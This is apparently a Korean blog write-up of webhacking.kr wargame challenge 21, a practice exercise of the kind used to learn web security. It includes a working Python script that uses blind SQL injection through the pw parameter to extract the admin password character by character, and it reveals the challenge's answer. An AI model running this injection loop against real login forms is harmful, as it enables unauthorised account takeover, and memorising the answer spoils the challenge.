728x90
반응형

250점인 21번 문제를 풀어보자.

Blind SQL Injection을 통해 해결하라는 힌트를 알려주고 있다.

id : guest / pw : guest 로 로그인을 시도해보면 login success가 뜨게 된다.

우리는 admin 계정으로 로그인 하기 위해 Blind SQL Injection을 통해 참 / 거짓일 때의 반응을 살펴보자.

 

- 참일 경우 wrong password

- 거짓일 경우 login fail

참 / 거짓일 경우의 반환값을 확인했으니 이 조건을 이용하여 파이썬 코드를 통해 패스워드를 알아보자.

 

- 패스워드 길이 및 패스워드 문자열 구하기

import requests

url = "https://webhacking.kr/challenge/bonus-1/index.php"
cookie = {'PHPSESSID': '세션 쿠키 값'}

# 1. 길이 구하기
length = 1
while True:
    param = f"?id=guest&pw=%27%20or%20id=%27admin%27%20and%20length(pw)%20=%20{length}%20%23"
    r = requests.get(url + param, cookies=cookie)
    if r.text.count("wrong password") != 0:
        break
    else:
        length += 1

print("LENGTH : " + str(length))

# 2. 문자열 구하기
password = ""
for i in range(length):
    char = 127
    while char > 0:
        param = f"?id=guest&pw=%27%20or%20id=%27admin%27%20and%20ascii(substr(pw, {i+1}, 1))%20=%20{char}%20%23"
        r = requests.get(url + param, cookies=cookie)
        if r.text.count("wrong password") != 0:
            break
        else:
            char -= 1

    print(chr(char))
    password += chr(char)

print("PASSWORD : " + password)

패스워드 길이 : 36

패스워드 : there_is_no_rest_for_the_white_angel

 

728x90
반응형

'CTF & WarGame > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] 23번 문제  (0) 2020.03.09
[webhacking.kr] 22번 문제  (0) 2020.03.09
[webhacking.kr] 20번 문제  (0) 2020.03.07
[webhacking.kr] 19번 문제  (0) 2020.03.07
[webhacking.kr] 18번 문제  (0) 2020.03.07

+ Recent posts